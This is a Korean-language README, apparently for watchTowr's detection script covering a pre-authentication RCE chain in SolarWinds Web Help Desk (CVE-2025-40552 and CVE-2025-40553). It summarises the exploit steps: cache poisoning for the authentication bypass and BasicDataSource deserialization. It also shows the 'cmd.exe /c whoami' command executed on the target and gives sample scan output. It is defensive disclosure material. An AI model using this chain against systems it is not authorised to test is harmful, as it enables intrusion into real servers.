CVE-2025-40552 및 CVE-2025-40553 SolarWinds Web Help Desk 사전 인증 RCE 체인

SolarWinds Web Help Desk 사전 인증 RCE 체인 탐지 아티팩트 생성 도구

설명

이 탐지 아티팩트 생성기는 SolarWinds Web Help Desk 인스턴스가 CVE-2025-40552 및 CVE-2025-40553에 취약한지 확인합니다.

탐지 아티팩트 생성기는 두 가지 작업을 수행하려고 시도합니다:

CVE-2025-40552를 이용한 인증 우회 - 이 검사는 매우 정확합니다.
성공할 경우 cmd.exe /c whoami 명령 실행을 통해 CVE-2025-40553 RCE를 확인하려고 시도합니다 - 이 검사는 환경에 따라 달라질 수 있는 오류 메시지에 기반하므로 100% 정확하지 않습니다.

주의 - RCE 테스트 중 스크립트는 postgres 데이터베이스에 SWWHDDAG<random_8_characters> 테이블을 생성합니다.

테스트 후 데이터베이스에서 명령 출력이 존재하는지 확인할 수 있습니다:

> SELECT * FROM public.swwhddagmm2t6t79

"output"
"nt authoritysystem"

탐지 시연

취약한 인스턴스에 대한 테스트:

$ python3 watchTowr-vs-SolarWinds-WebHelpDesk-CVE-2025-40552-CVE-2025-40553.py -H https://vulnerable.lab:8443
                         __         ___  ___________                   
         __  _  ______ _/  |__ ____ |  |_\__    ____\____  _  ________ 
         \ \/ \/ \__  \    ___/ ___\|  |  \|    | /  _ \ \/ \/ \_  __ \
          \     / / __ \|  | \  \___|   Y  |    |(  <_> \     / |  | \/
           \/\_/ (____  |__|  \___  |___|__|__  | \__  / \/\_/  |__|   
                                  \/          \/     \/                            
          
        watchTowr-vs-SolarWinds-WebHelpDesk-CVE-2025-40552-CVE-2025-40553.py
        (*) CVE-2025-40552 + CVE-2025-40553 Pre-Auth RCE Chain in SolarWinds Web Help Desk - Detection Artifact Generator

          - Piotr Bazydlo (@chudyPB) of watchTowr 

        CVEs: CVE-2025-40552 and CVE-2025-40553

[+] Testing CVE-2025-40552 Authentication Bypass
        [+] Triggering error and poisoning context cache with LookAndFeelPref
[+] VULNERABLE to CVE-2025-40552 Authentication Bypass
[+] Testing CVE-2025-40553 RCE
        [+] This stage will create SWWHDDAGp08zwfs6 DB table if successful
        [+] Verifying deserialization and serialization of org.apache.commons.dbcp2.BasicDataSource
[+] PROBABLY VULNERABLE: Connection validated and SQL queries can be executed
        [+] Executing "cmd.exe /c whoami" - verify locally if it worked

취약하지 않은 인스턴스에 대한 테스트:

$ python3 watchTowr-vs-SolarWinds-WebHelpDesk-CVE-2025-40552-CVE-2025-40553.py -H https://notvulnerable.lab:8443
                         __         ___  ___________                   
         __  _  ______ _/  |__ ____ |  |_\__    ____\____  _  ________ 
         \ \/ \/ \__  \    ___/ ___\|  |  \|    | /  _ \ \/ \/ \_  __ \
          \     / / __ \|  | \  \___|   Y  |    |(  <_> \     / |  | \/
           \/\_/ (____  |__|  \___  |___|__|__  | \__  / \/\_/  |__|   
                                  \/          \/     \/                            
          
        watchTowr-vs-SolarWinds-WebHelpDesk-CVE-2025-40552-CVE-2025-40553.py
        (*) CVE-2025-40552 + CVE-2025-40553 Pre-Auth RCE Chain in SolarWinds Web Help Desk - Detection Artifact Generator

          - Piotr Bazydlo (@chudyPB) of watchTowr 

        CVEs: CVE-2025-40552 and CVE-2025-40553

[+] Testing CVE-2025-40552 Authentication Bypass
        [+] Triggering error and poisoning context cache with LookAndFeelPref
[-] NOT VULNERABLE to CVE-2025-40552, exiting

영향을 받는 버전

< SolarWinds Web Help Desk 2026.1

참조: https://documentation.solarwinds.com/en/success_center/whd/content/release_notes/whd_2026-1_release_notes.htm

watchTowr Labs 팔로우하기

최신 보안 연구를 보려면 watchTowr Labs 팀을 팔로우하세요.

watchTowr-vs-SolarWinds-WebHelpDesk-CVE-2025-40552-CVE-2025-40553

인기

CVE-2025-40552 및 CVE-2025-40553 SolarWinds Web Help Desk 사전 인증 RCE 체인

설명

탐지 시연

영향을 받는 버전

watchTowr Labs 팔로우하기